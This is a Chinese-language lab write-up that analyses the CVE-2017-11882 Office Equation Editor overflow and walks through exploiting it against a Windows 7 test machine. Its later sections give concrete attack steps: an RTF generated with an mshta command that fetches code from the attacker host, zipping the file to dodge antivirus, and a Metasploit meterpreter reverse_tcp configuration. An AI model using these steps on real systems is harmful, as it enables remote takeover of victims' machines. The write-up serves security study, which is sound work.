文章目錄
- 0x01 漏洞環境
- 0x02 漏洞成因
- 0x03 影響漏洞版本
- 0x04 分析過程
-
- 緩衝區溢位點
- 動态分析
- 0x05 利用過程
-
- 彈出網頁
- msf配置
- 攻擊方和被攻擊方進行通訊
- 攻擊pc445端口
- 0x06 生成攻擊檔案
-
- msf
- 開始攻擊
- 0x07 結果
0x01 漏洞環境
Kali Linux 2017.03 + Windows 7 + Office 2016
滲透機:Kali Linux + POC代碼
靶機:Win7 + Office 2016
EQNEDT32.EXE實際上是一個com元件,是一個标準的接口,com元件:會實作一些接口,Windows下特殊exe實作了一些接口是讓其他exe調用的接口,用python的rtfobg這個元件進行檢視,需要在python中安裝ole這個庫要用xp因為win7下找不到好的jmp esp
0x02 漏洞成因
如果樣本彈出了電腦,那麼一定會存在打開程序的API,常見API有這幾個:
① WinExec
② ShellExecute
③ CreateProcess
樣本運作結果
檢視這個計算機是什麼程序調用的,是office2003的計算公式調用的
0x03 影響漏洞版本
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
0x04 分析過程
緩衝區溢位點
用od附加這個程序CreateProcessA下斷點,,cmd.exe是用指令行啟動個電腦,
棧中往上拉,call 建立程序時傳回位址來自kernel32是以不是CreateProcessA啟動的,是以檢視k是WinExec這個啟動的,也就是在溢出時執行的是WinExec,,,是以堆棧可能被破壞的是以要對WinExec下斷點
##定位漏洞函數
414141和430c18是自己構造的,430c18是傳回位址,往上拉看到gid,41160f斷點
斷點下好後,資料視窗中跟随檢視12f1b8-12f1cc這裡面什麼時候變成41
覆寫的指令
動态分析
0x05 利用過程
彈出網頁
漏洞利用的步驟
-
定立目标:彈出一個網頁
2.編寫 shellcode修改樣本中的執行字元串改為cmd.exe /c explorer.exe http://www.15pb.co
3.處理好的字元串:636D642E657865202F63206578706C6F7265722E65786520687474703A2F2F7777772E313570622E636F0D0A進行樣本的覆寫
4、或者進行od的動态修改:要在這個函數出來時候進行修改
msf配置
①更新 Metasploit
結果:apt update; apt install metasploit-framework
②啟動msf
啟動 msf:進入msf:msfconsole,也就是大msf按table補全
③安裝所需子產品
cve-2017-11882.rb這個子產品拷貝到指定檔案夾中cd cve-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat
如果指令拷貝不成功,則進行手動拷貝
④重新開機
子產品拷貝成功需要重新啟動msf,要不這個子產品無法生效
##攻擊PC環境
cve-2017-11882這個子產品适合win7 32位的作業系統,smb_ms_170這個子產品适合win7 64位作業系統,實驗用于win7 32位作業系統,也就是cve-2017-11882這個子產品
##檢視ip
檢視kail的ip:重親打開個終端ifconfig 出來ip是192.168.0.200
檢視win7的ip,Win7要把防火牆關掉:
192.168.0.176
攻擊方和被攻擊方進行通訊
首先要在同一個網段上,kail:192.168.0.200,,,檢視win7的ip,Win7要把防火牆關掉:
192.168.0.176 看這倆個機器是否能ping通,,在kail上ping 192.168.0.176,在Win7上ping 192.168.0.200
kail在新打開的終端上進行ping
攻擊pc445端口
win7 32位作業系統的445端口是否打開netstat -ano -p tcp | find “445” >nul 2>nul && echo 445
netstat -an 或者是netstat -ano
0x06 生成攻擊檔案
桌面除了rb還有pyth腳本,pryth是這條指令寫進去
下邊指令ip是kail
python CVE-2017-11882.py -c “mshta.exe http://192.168.0.200:8080/11882” -o 1.rtf ,,, -c是要輸出的指令,1.rtf是生成的
右鍵1.rtf壓縮這個檔案夾要不就給殺掉,windows defat,1.rtf拷貝到Win7下的輕按兩下
将壓縮好的1.zip拷貝到真機,拷貝到要攻擊的pc上,
msf
search 漏洞利用子產品指令: search cve-2017-11882
使用對應漏洞利用子產品
use exploit/windows/fileformat/cve-2017-11882
設定漏洞利用資訊
包括 payload 類型、IP、端口等set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.200(Kail 系統的 IP)
set lport 4444
set uripath 11882 設定路徑通路時候192.168.0.95:8080/11882這樣進行通路的
show options(顯示必要設定的選項,檢視有無漏
開始攻擊
Exploit/run,等待後門程式回連,然後攻擊的pc要打開1.rtf
0x07 結果
# 0x07 參考文獻
[1]《高端調試》張銀奎 著
[2]《0day安全:軟體漏洞分析技術(第2版)》 王清 著